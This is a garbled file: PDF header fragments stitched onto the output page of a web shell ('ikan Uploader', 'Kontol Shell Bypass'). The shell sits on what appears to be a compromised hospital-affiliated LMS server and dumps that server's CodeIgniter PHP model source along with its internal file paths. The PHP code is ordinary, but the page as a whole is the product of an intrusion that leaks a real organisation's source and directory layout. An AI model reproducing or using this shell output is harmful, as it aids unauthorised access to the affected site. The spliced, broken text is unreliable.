%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/Master_model.php
<?php 
class Master_model extends CI_Model {
	/** Program Types */
	function programTypes(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k']);
		}
		$rs=$this->db->select("id, title, disp_odr, status")->from("master_program_types")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function programTypeDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_program_types", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteProgramType($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_program_types", array('id'=>$id));
	}
	/** \ */

	/** Academic Careers */
	function academicCareers(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k']);
		}
		$rs=$this->db->select("id, title, disp_odr, status")->from("master_academic_careers")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function academicCareerDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_academic_careers", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteAcademicCareer($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_academic_careers", array('id'=>$id));
	}
	/** \ */

	/** Discipline */
	function disciplines(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k']);
		}
		$rs=$this->db->select("id, title, disp_odr, status")->from("master_disciplines")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function disciplineDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_disciplines", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteDiscipline($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_disciplines", array('id'=>$id));
	}
	/** \ */

	/** Schools */
	function schools(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('a.title', $qs['k'])->or_like('a.ps_code', $qs['k']);
		}
        $rs=$this->db->select("a.id, a.title, a.ps_code, a.brochure, a.website, a.disp_odr, a.status")
        ->from("master_schools a")
        ->order_by("a.disp_odr")
        ->get()->result_array();

        foreach($rs as &$r){
            $r['brochure_url']=$r['brochure']?(UP_URLF.'brochure/'.$r['brochure']):'';
			$r['accreditations_count']=(int)$this->db->select("COUNT(*) n")->get_where("school_accreditations", ['school_id'=>$r['id']])->row("n");
			$r['dean_messages_count']=(int)$this->db->select("COUNT(*) n")->get_where("school_dean_messages", ['school_id'=>$r['id']])->row("n");
        }
		return $rs;
	}
	
	function schoolDtl($id, $f="*"){
        $rs=$this->db->select($f)->get_where("master_schools", array('id'=>$id))->row_array();
        if($rs){
            $rs['brochure_url']=$rs['brochure']?(UP_URLF.'brochure/'.$rs['brochure']):'';
        }
		return $rs;
	}
	
	function deleteSchool($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_schools", array('id'=>$id));
	}

	function schoolAccreditations($school_id){
		$rs=$this->db->get_where("school_accreditations", ['school_id'=>$school_id])->result_array();
		if($rs){
			foreach($rs as &$r){
				$r['image_url']=$r['image']?(UP_URLF.'schools/'.$r['image']):'';
			}
		}else{
			$rs=[];
		}
		return $rs;
	}

	function deleteSchoolAccreditation($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("school_accreditations", array('id'=>$id));
	}

	function schoolDeanMessages($school_id){
		$rs=$this->db->get_where("school_dean_messages", ['school_id'=>$school_id])->result_array();
		if($rs){
			foreach($rs as &$r){
				$r['image_url']=$r['image']?(UP_URLF.'schools/'.$r['image']):'';
			}
		}else{
			$rs=[];
		}
		return $rs;
	}

	function deleteSchoolDeanMessage($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("school_dean_messages", array('id'=>$id));
	}
	/** \ */

	/** Applicat Cats */
	function applicantCats(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('ps_code', $qs['k']);
		}
		$rs=$this->db->select("id, title, ps_code, disp_odr, status")->from("master_applicat_cats")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function applicantCatDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_applicat_cats", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteApplicantCat($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_applicat_cats", array('id'=>$id));
	}
	/** \ */

	/** Applicat religions */
	function applicantReligions(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('ps_code', $qs['k']);
		}
		$rs=$this->db->select("id, title, ps_code, disp_odr, status")->from("master_applicat_religions")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function applicantReligionDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_applicat_religions", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteApplicantReligion($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_applicat_religions", array('id'=>$id));
	}
	/** \ */

	/** Marking Schemes */
	function markingSchemes(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('ps_code', $qs['k']);
		}
		$rs=$this->db->select("id, title, ps_code, disp_odr, status,allowed_data")->from("master_marking_schemes")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function markingSchemeDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_marking_schemes", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteMarkingScheme($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_marking_schemes", array('id'=>$id));
	}
	/** \ */

	/** Edu Boards */
	function eduBoards(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('ps_code', $qs['k']);
		}
		$rs=$this->db->select("id, title, ps_code, status")->from("master_edu_boards")->order_by("title")->get()->result_array();
		return $rs;
	}
	
	function eduBoardDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_edu_boards", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteEduBoard($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_edu_boards", array('id'=>$id));
	}
	/** \ */

	/** Universities */
	function universities(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('ps_code', $qs['k']);
		}
		$this->db->select("id, title, ps_code, status")->from("master_universities")->order_by("title");
		$rs=$this->dba->pagedRows($qs['p'], 100, 5);
		return $rs;
	}
	
	function universityDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_universities", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteUniversity($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_universities", array('id'=>$id));
	}
	/** \ */

	/** Admin Emalils */
	function adminEmails(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('email', $qs['k']);
		}
		$this->db->select("id, email,send_payment_alert, send_appointment_alert, send_issue_alert, student_cc, daily_report")->from("master_admin_emails")->order_by("id");
		$rs=$this->dba->pagedRows($qs['p'], 100, 5);
		return $rs;
	}

	function adminEmailDetal($id,$f='*'){
		$rs=$this->db->select($f)->get_where("master_admin_emails", array('id'=>$id))->row_array();
		if($rs){
			$rs['send_payment_alert']		=$rs['send_payment_alert']?true:false;
			$rs['send_appointment_alert']	=$rs['send_appointment_alert']?true:false;
            $rs['send_issue_alert']			=$rs['send_issue_alert']?true:false;
            $rs['student_cc']			    =$rs['student_cc']?true:false;
            $rs['daily_report']			    =$rs['daily_report']?true:false;
		}
		return $rs;
	}

	function deleteAdminEmail($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_admin_emails", array('id'=>$id));
	}
	/** \ */

	/** UTM Source */
	function utmSources($getmedium=false){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('medium', $qs['k']);
		}
		$rs=$this->db->select("id, title, grp, report_grp,  default_for_admin, ispaid, status")->from("master_utm_sources")->order_by("title")->get()->result_array();
		if($getmedium){
			foreach($rs as &$r){
				$mediums=$this->db->select("DISTINCT utm_medium", false)->get_where("applicants", array('utm_source_id'=>$r['id']))->result_array();
				$meds=[];
				foreach($mediums as $m){
					if($m['utm_medium']){
						$meds[]=$m['utm_medium'];
					}
				}
				$r['medium']=implode(", ", $meds);
			}
		}
		return $rs;
	}
	
	function utmSourceDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_utm_sources", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteUtmSource($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_utm_sources", array('id'=>$id));
	}
	/** \ */

	/** Coupans */
	function coupans(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k']);
		}
		$rs=$this->db->select("id, title, amt, DATE_FORMAT(expiry_date, '%d %b %Y') AS expiry_date, gender, disp_odr, status")->from("master_coupans")->order_by("disp_odr")->get()->result_array();
		return $rs;
	}
	
	function coupanDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_coupans", array('id'=>$id))->row_array();
		if($rs){
			$rs['expiry_date']=get_date($rs['expiry_date']);
		}
		return $rs;
	}
	
	function deleteCoupan($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_coupans", array('id'=>$id));
	}
	/** \ */

	/** States */
	function states(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('code', $qs['k']);
		}
        $rs=$this->db->select("id, title, code, app_fee, offer_msg, status")->from("master_states")->order_by("title")->get()->result_array();
        if($rs){
            foreach($rs as &$r){
                $r['coupan_added']=0;
                if($this->stateUsedCoupanIds($r['id'])){
                    $r['coupan_added']=1;
                }
            }
        }
		return $rs;
	}
	
	function stateDtl($id, $f="*"){
        $rs=$this->db->select($f)->get_where("master_states", array('id'=>$id))->row_array();
        if($rs){
            $rs['coupanIds']=$this->stateUsedCoupanIds($rs['id']);
		}
		return $rs;
    }
    
    function stateUsedCoupanIds($state_id){
        return $this->db->select("cu.coupan_id")
        ->from("coupans_in_use cu")
        ->join("master_coupans mc", "mc.id=cu.coupan_id")
        ->where(['cu.state_id'=>$state_id, 'mc.expiry_date>='=>date('Y-m-d')])
        ->get()->result_array();
    }
	
	function deleteState($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_states", array('id'=>$id));
	}

	function cities($stateId=''){
		$this->db->where('state_id', $stateId);
		$rs=$this->db->select("id, title, pincode, status")->from("master_cities")->order_by("title")->get()->result_array();
		return $rs;
	}

	function cityDetail($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_cities", array('id'=>$id))->row_array();
		return $rs;
	}

	function deleteCity($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_cities", array('id'=>$id));
	}
	/** \ */

	/** Notifications */
	function notifications(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('msg', $qs['k']);
		}
		$rs=$this->db->select("id, msg, steps, type, status")->from("notifications")->order_by("id", "DESC")->get()->result_array();
		foreach($rs as &$r){
			$r['msg']=str_short($r['msg'], 250);
		}
		return $rs;
	}
	
	function notificationDtl($id, $f="*"){
		$rs=$this->db->select($f)->get_where("notifications", array('id'=>$id))->row_array();
		return $rs;
	}
	
	function deleteNotification($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("notifications", array('id'=>$id));
	}
	/** \ */

	/** Faq */
	function faqs(){
		$qs=trim_array($this->input->get());
		if($qs['cat_id']){
			$catId=$this->db->escape_str($qs['cat_id']);
			$this->db->where("FIND_IN_SET('$catId', F.cat_ids)", NULL, FALSE);
		}
		if($qs['k']){
			$this->db->db_debug = FALSE;
			$k=$this->db->escape_str(str_for_fulltext($qs['k'], TRUE, TRUE));
			$fts_mode="IN BOOLEAN MODE";
			$fulltext_cond="MATCH(F.question, F.ans) AGAINST('$k' $fts_mode)";
			$this->db->where($fulltext_cond, NULL, FALSE)->or_like("F.question", $qs['k'])->or_like("F.ans", $qs['k']);
		}
		$rs=$this->db->select("F.id, F.question, F.ans, F.disp_odr, F.status, F.cat_ids")->from("master_faq AS F")->order_by("F.disp_odr")->get()->result_array();
		foreach($rs as &$r){
			$r['ans']=str_short($r['ans'], 250);
			$r['cats']=$this->db->select("GROUP_CONCAT(title ORDER BY title SEPARATOR ', ') AS cats", FALSE)->from("master_faq_cats")->where_in("id", explode(",", $r['cat_ids']))->get()->row()->cats;
		}
		return $rs;
	}

	function faqDetail($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_faq", array('id'=>$id))->row_array();
		return $rs;
	}

	function deleteFaq($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_faq", array('id'=>$id));
	}

	function faqCatDetail($id, $f="*"){
		$rs=$this->db->select($f)->get_where("master_faq_cats", array('id'=>$id))->row_array();
		return $rs;
	}

	function deleteFaqCat($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("master_faq_cats", array('id'=>$id));
	}
    /** \ */
    
    /** Lead Sources */
    function lead_sources(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->like('SC.name', $qs['k'])->or_like('SC.email', $qs['k'])->or_like('SC.mobile', $qs['k'])->or_like('SC.type', $qs['k'])->or_like('SC.organisation', $qs['k'])->or_like('C.title', $qs['k']);
		}
		$rs=$this->db->select("SC.*, C.title state")->from("lead_sources SC")->join("master_states C", "C.id=SC.state_id")->order_by("SC.id", "DESC")->get()->result_array();
        return $rs;
    }
    function all_lead_sources(){
        return $this->db->select("id, type, state_id, name")->order_by("name")->get_where("lead_sources", ['status'=>1])->result_array();
    }
    function lead_source_states(){
        return $this->db->select("DISTINCT s.id, s.title", false)->from("master_states s")->join("lead_sources ls", "s.id=ls.state_id")->order_by("s.title")->get()->result_array();
    }
    function delete_lead_source($id){
		$this->db->db_debug=FALSE;
        $this->db->delete("lead_sources", array('id'=>$id));
        return $this->db->affected_rows();
    }
    /** \ */

    /** Webinars */
    function send_webinar_email_url($wb_id, $msg_email=''){
        //13.234.217.79
        if(ENVIRONMENT=='development'){
            return URL.'api/initiate_webinar_email/'.$wb_id.'/'.USER_ID.'/'.$msg_email;
        }else{
            return URL.'api/initiate_webinar_email/'.$wb_id.'/'.USER_ID.'/'.$msg_email;
        }
    }

    function send_webinar_invitaion_email_url($wb_id){
        if(ENVIRONMENT=='development'){
            return URL.'api/initiate_invitaion_email/'.$wb_id.'/'.USER_ID;
        }else{
            return URL.'api/initiate_invitaion_email/'.$wb_id.'/'.USER_ID;
        }
    }
    function webinars($all=false){
        $qs=trim_array($this->input->get());
        if(!$all){
            $this->db->where("W.status", 1);
        }
		if($qs['k']){
			$this->db->like('W.title', $qs['k']);
		}
        $rs=$this->db->select("W.*, DS.title data_set")
            ->from("webinars W")
            ->join("leads_data_sets DS", "DS.id=W.data_set_id", "LEFT")
            ->order_by("W.id", "DESC")
            ->get()->result_array();

        foreach($rs as &$r){
            $r['status']=(int)$r['status'];
            $r['web_date_time'] = get_date($r['web_date'].' '.$r['start_time'], true);
            $r['web_date'] = get_date($r['web_date']);
            $r['web_time'] = date('H:i:s',strtotime($r['web_date']));
            

            $r['email_initiated']=(int)$r['email_initiated'];
            $r['email_initiated_dt']=get_date($r['email_initiated_dt'], true);
            /* if(!$r['email_initiated']){
                $r['leads_count']=$r['no_of_emails_sent']=$r['no_of_accepted']='...';
            }else */{
                $count=$this->db->select("COUNT(1) leads_count, COUNT(IF(email_sent=1, 1, NULL)) no_of_emails_sent, COUNT(IF(accepted=1, 1, NULL)) no_of_accepted, COUNT(IF(inv_email_sent=1, 1, NULL)) no_of_inv_emails_sent")->get_where("webinar_leads", ['webinar_id'=>$r['id']])->row_array();
                $r['leads_count']=(int)$count['leads_count'];
                $r['no_of_emails_sent']=(int)$count['no_of_emails_sent'];
                $r['no_of_accepted']=(int)$count['no_of_accepted'];
                $r['no_of_inv_emails_sent']=(int)$count['no_of_inv_emails_sent'];
            }

            $r['email_processing']=(int)$r['email_processing'];
            $r['inv_email_processing']=(int)$r['inv_email_processing'];
            $r['send_email_api']=$this->send_webinar_email_url($r['id']);

            $r['download_link']=URL.'master/download_webinar_leads/'.$r['id'];
        }
        
        return $rs;
    }
    function webinar_detail($id){
        $rs=$this->db->get_where("webinars", ['id'=>$id])->row_array();
        if($rs){
            $rs['school']=$this->db->select("title")->get_where("master_schools", ['id'=>$rs['school_id']])->row()->title;
            $rs['web_date_time'] = get_date($rs['web_date'], true);
            $rs['web_date'] = get_date($rs['web_date']);
            $rs['web_time'] = date('H:i:s',strtotime($rs['web_date']));
            if(!$rs['data_set_id']){
                $rs['data_set_id']='';
            }

            $rs['sms_initiated']=(int)$rs['sms_initiated'];
            $rs['email_initiated']=(int)$rs['email_initiated'];
            $rs['email_initiated_dt']=get_date($rs['email_initiated_dt'], true);
            if(!$rs['email_initiated'] && !$rs['sms_initiated']){
                $rs['leads_count']=$rs['no_of_emails_sent']=$rs['pending_email']=$rs['no_of_accepted']=0;
            }else{
                $count=$this->db->select("COUNT(1) leads_count, COUNT(IF(email_sent=1, 1, NULL)) no_of_emails_sent, COUNT(IF(accepted=1, 1, NULL)) no_of_accepted, COUNT(IF(inv_email_sent=1, 1, NULL)) no_of_inv_emails_sent")->get_where("webinar_leads", ['webinar_id'=>$rs['id']])->row_array();
                $rs['leads_count']=(int)$count['leads_count'];
                $rs['no_of_emails_sent']=(int)$count['no_of_emails_sent'];
                $rs['no_of_accepted']=(int)$count['no_of_accepted'];
                $r['no_of_inv_emails_sent']=(int)$count['no_of_inv_emails_sent'];
            }

            $rs['email_processing']=(int)$rs['email_processing'];
            $rs['inv_email_processing']=(int)$rs['inv_email_processing'];
            $rs['send_email_api']=$this->send_webinar_email_url($rs['id']);

            $rs['banner_url']=$rs['banner']?UP_URLF.'webinars/'.$rs['banner']:'';
            $rs['banner_sm_url']=$rs['banner_sm']?UP_URLF.'webinars/'.$rs['banner_sm']:'';

            $rs['speakers']=$this->webinar_speakers($id);
        }
        return $rs;
    }

    function webinar_speakers($wb_id){
        $rs=$this->db->where("webinar_id", $wb_id)->get("webinar_speakers")->result_array();
        foreach($rs as &$r){
            $r['photo_url']=$r['photo']?UP_URLF.'webinars/'.$r['photo']:'';
        }
        return $rs;
    }

    function delete_webinar($id){
		$this->db->db_debug=FALSE;
        $this->db->delete("webinars", array('id'=>$id));
        return $this->db->affected_rows();
    }

    function save_webinar_leads($wb_id){
        $wb_dtl=$this->db->select("id, data_set_id")->get_where("webinars", ['id'=>$wb_id])->row_array();
        $this->db->delete("webinar_leads", ['webinar_id'=>$wb_id]);
        if($wb_dtl['data_set_id']){
            $ds_dtl=$this->dataset->detail($wb_dtl['data_set_id']);
            $this->common->set_data_set_cond($ds_dtl, true);
            $rs=$this->db->select("A.id application_id, U.name, U.email, U.mob", false)
            ->from("applications A ")
            ->join("applicants U ", "A.applicant_id=U.id")
            ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
            ->get()->result_array();

            $wdata=[];
            foreach($rs as $r){
                $accepturl=base64_encode(URL.'api/accept_webinar/'.$wb_id.'/'.$r['application_id']);
                $webinar_url=WebinarUrl.'?url='.$accepturl.'&wb_id='.base64_encode($wb_id);
                $wdata[]=['webinar_id'=>$wb_dtl['id'], 'application_id'=>$r['application_id'], 'name'=>$r['name'], 'email'=>$r['email'], 'mob'=>$r['mob'], 'webinar_url'=>$webinar_url, 'created'=>currentDT(), 'updated'=>currentDT()];
            }
            if($wdata){
                $this->db->insert_batch("webinar_leads", $wdata);
            }
        }
    }

    function webinar_leads($wb_id){
        $rs=$this->db->select("A.id, A.application_no, A.step_completed, A.created, A.ac_id, A.discipline_id, A.plan_id, P.type_id, P.title program, U.lpage_id, U.verified_by, U.state_id, U.name, U.email, U.mob, W.title webinar, WL.webinar_url", false)
        ->from("applications A")
        ->join("applicants U", "A.applicant_id=U.id")
        ->join("master_programs P", "P.id=A.program_id")
        ->join("webinar_leads WL", "WL.application_id=A.id")
        ->join("webinars W", "WL.webinar_id=W.id")
        ->where("WL.webinar_id", $wb_id)
        ->get()->result_array();

        if($rs){
            $md=$this->common->master_data_for_leads();
            foreach($rs as &$r){
                $r['state']			=$md['states'][$r['state_id']];
                $r['lpage']			=$md['lpages'][$r['lpage_id']];
                $r['plan']			=$md['plans'][$r['plan_id']];
                $r['ac']			=$md['acs'][$r['ac_id']];
                $r['program_type']	=$md['program_types'][$r['type_id']];
                $r['discipline']	=$md['disciplines'][$r['discipline_id']];

                $r['login_url']=generate_login_url($r['lpage'], $r['mob']);

                unset($r['state_id'], $r['lpage_id'], $r['plan_id']);
            }
        }
        return $rs;
    }

    function school_names(){
        return $this->db->select("id,title")
            ->from("master_schools")
            ->where(['status'=>1])
            ->get()->result_array();
    }

	/** */
	function getAboutSuat(){
		return $this->db->select("datavalue")->get_where("master_data", ['datakey'=>'about_suat'])->row("datavalue");
	}
}

//End of file

Kontol Shell Bypass